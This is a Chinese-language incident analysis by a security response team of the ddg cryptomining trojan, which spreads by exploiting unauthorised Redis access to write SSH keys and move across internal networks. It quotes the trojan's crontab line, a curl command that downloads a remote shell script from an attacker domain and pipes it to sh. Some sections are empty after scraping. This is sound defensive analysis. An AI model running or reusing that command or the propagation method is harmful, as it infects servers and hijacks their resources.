近日,乐视安全中心接获用户服务器高负载告警,经安全人员协查分析,发现是通过redis漏洞传播的挖矿木马-ddg,大量消耗服务器资源,难以清除并具有内网扩散功能。本文为乐视安全中心对木马具体原理功能及传播方式进行的分析,以及给出的解决方案。

Bitcoin network blue background

0x01 木马行为

Ddg1

登陆被感染服务器,利用top查看CPU使用率,找到CPU消耗进程AnXqV

通过kill杀死AnXqV进程并进行删除,约15分种后系统告警,AnXqV再次创建并启动 (https://www.secpulse.com/archives/56741.html 安全脉搏)

此时查看crontab定时器发现指令: curl -fsSL http://www.haveabitchin.com/pm.sh?223 | sh 定时下载并执行如下脚本:

Ddg2

0x02 木马功能

ddg.222为golang编写无明显函数符号和字符串特征

Ddg3

根据编译版本编写辅助脚本还原golang函数符号

Ddg4

摘要出ddg主要使用到的功能库shirou_gopsutil,VividCortex_godaemon,boltdb_bolt,garyburd_redigo,golang_protobuf_proto,hashicorp_yamux,moul_http2curl,parnurzeal_gorequest,satori_go_2euuid

 

分别具有启动后台守护进程,监控进程和系统信息(Cpu和内存,网络,机器码,Mac地址等),实现redis客户端操作key/value数据库操作,开启RPC服务远程调用,单TCP多路复用等功能

 

分析ddg执行执行过程,首先调用ddg_aaredis__Server_genLanAddress接口获取局域网地址

Ddg5

 

调用ddg_aaredis__Server_worker开启扫描,在内网子网掩码内循环调用分别对每个ip测试了ddg_aaredis__Server_testRedis函数

Ddg6

ddg_aaredis__Server_testRedis函数主要用于测试redis漏洞,通过测试是否可以未授权访问redis并写入公钥登陆来进行扩散

Ddg7

梳理木马功能:

1、对可以未授权访问redis的服务器写入公钥登录,定时下载并执行脚本;

2、脚本下载AnXqV和ddg文件并运行,AnXqV进行挖矿,ddg进行系统监控远程调用并内网传播。

0x03 清理方案

根据以上原理对木马进行清除,由于不同版本木马的写入文件名不同,需对照各自木马脚本下载的文件路径和文件名执行以下操作:

0x04 总结

通过对此次木马扩散事件的分析和处理,为减少和杜绝此类事件的再次发生,提高安全预警能力,在此提醒业界同仁加强关注日常高带宽高资源服务器的运维安全细节:

 

【原文:挖矿木马Ddg分析  作者:乐视安全应急响应中心   本文由乐视安全应急响应中心入驻安全脉搏账号发布】

 

源链接

Hacking more

...